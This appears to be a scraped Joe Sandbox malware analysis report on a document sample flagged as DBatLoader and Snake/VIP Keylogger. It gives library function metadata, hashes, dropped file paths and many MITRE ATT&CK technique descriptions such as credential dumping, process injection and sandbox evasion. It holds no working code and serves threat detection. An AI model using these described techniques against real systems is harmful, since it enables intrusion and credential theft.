Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ITT # KRPBV2663 .doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Aiymwhpj.url

C:\Users\Public\AiymwhpjF.cmd

C:\Users\Public\Libraries\Aiymwhpj

C:\Users\Public\Libraries\Aiymwhpj.PIF

C:\Users\Public\Libraries\FX.cmd

C:\Users\Public\Libraries\NEO.cmd

C:\Users\Public\Libraries\jphwmyiA.pif

C:\Users\user\AppData\Local\Temp\~DFD49D79A280DD3CA3.TMP

Windows Analysis Report
ITT # KRPBV2663 .doc

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre